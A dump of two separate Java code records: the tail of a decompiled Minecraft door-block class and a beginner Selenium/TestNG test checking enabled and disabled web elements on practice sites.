world.playSound(entity, pos, open ? this.blockSetType.doorOpen() : this.blockSetType.doorClose(), SoundCategory.BLOCKS, 1.0F, world.getRandom().nextFloat() * 0.1F + 0.9F);
}
public BlockState rotate(BlockState state, BlockRotation rotation) {
return (BlockState)state.with(FACING, rotation.rotate((Direction)state.get(FACING)));
}
public BlockState mirror(BlockState state, BlockMirror mirror) {
return mirror == BlockMirror.NONE ? state : (BlockState)state.rotate(mirror.getRotation((Direction)state.get(FACING))).cycle(HINGE);
}
public long getRenderingSeed(BlockState state, BlockPos pos) {
return MathHelper.hashCode(pos.getX(), pos.down(state.get(HALF) == DoubleBlockHalf.LOWER ? 0 : 1).getY(), pos.getZ());
}
protected void appendProperties(StateManager.Builder builder) {
builder.add(HALF, FACING, OPEN, HINGE, POWERED);
}
public static boolean canOpenByHand(World world, BlockPos pos) {
return canOpenByHand(world.getBlockState(pos));
}
public static boolean canOpenByHand(BlockState state) {
Block var2 = state.getBlock();
boolean var10000;
if (var2 instanceof DoorBlock lv) {
if (lv.getBlockSetType().canOpenByHand()) {
var10000 = true;
return var10000;
}
}
var10000 = false;
return var10000;
}
static {
FACING = HorizontalFacingBlock.FACING;
OPEN = Properties.OPEN;
HINGE = Properties.DOOR_HINGE;
POWERED = Properties.POWERED;
HALF = Properties.DOUBLE_BLOCK_HALF;
NORTH_SHAPE = Block.createCuboidShape(0.0, 0.0, 0.0, 16.0, 16.0, 3.0);
SOUTH_SHAPE = Block.createCuboidShape(0.0, 0.0, 13.0, 16.0, 16.0, 16.0);
EAST_SHAPE = Block.createCuboidShape(13.0, 0.0, 0.0, 16.0, 16.0, 16.0);
WEST_SHAPE = Block.createCuboidShape(0.0, 0.0, 0.0, 3.0, 16.0, 16.0);
}
}
|
package com.eurotech.tests.day_10_TupeOfWebElement;
import com.eurotech.utilities.WebDriverFactory;
import org.openqa.selenium.By;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.testng.Assert;
import org.testng.annotations.AfterMethod;
import org.testng.annotations.BeforeMethod;
import org.testng.annotations.Test;
public class _3_DisableElement {
WebDriver driver;
@BeforeMethod
public void setUp() {
driver = WebDriverFactory.getDriver("chrome");
driver.manage().window().maximize();
}
@AfterMethod
public void tearDown() {
driver.close();
}
@Test
public void dısableElements() throws InterruptedException {
/**
* go to https://the-internet.herokuapp.com/dynamic_controls
* locate disable text bar
* verify that the element is disabled
* locate and click the Enable button
* send "The element is now enabled!!" keys to the bar
* verify that the element is enabled.
*/
driver.get(" https://the-internet.herokuapp.com/dynamic_controls");
WebElement texBar = driver.findElement(By.cssSelector("#input-example>input"));
Assert.assertFalse(texBar.isEnabled());
WebElement enableabatn = driver.findElement(By.xpath("//button[text()='Enable']"));
enableabatn.click();
Thread.sleep(5000);
String s= "the element is now enabled";
texBar .sendKeys(s);
Assert.assertTrue((texBar.isEnabled()));
Thread.sleep(4000);
}
@Test
public void disableElements() throws InterruptedException {
/**
* navigate to http://www.webdriveruniversity.com/Dropdown-Checkboxes-RadioButtons/index.html
* locate pumpkin element
* verify that the element is enabled
* verify that the element is selected
* verify that the element is displayed
* locate cabbage element
* verify that the element is NOT enabled
* verify that the element is NOT selected
* verify that the element is displayed
*/
driver.get(" http://www.webdriveruniversity.com/Dropdown-Checkboxes-RadioButtons/index.html");
WebElement pumpkin = driver.findElement(By.xpath("//form[@id='radio-buttons-selected-disabled']/input[3]"));
Thread.sleep(2000);
Assert.assertTrue(pumpkin.isEnabled());
Assert.assertTrue(pumpkin.isSelected());
Assert.assertTrue(pumpkin.isDisplayed());
// * locate cabbage element
WebElement cabbage = driver.findElement(By.xpath("//form[@id='radio-buttons-selected-disabled']/input[2]"));
Assert.assertFalse(cabbage.isEnabled());
Assert.assertFalse(cabbage.isSelected());
Assert.assertTrue(cabbage.isDisplayed());
Thread.sleep(2000);
}
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.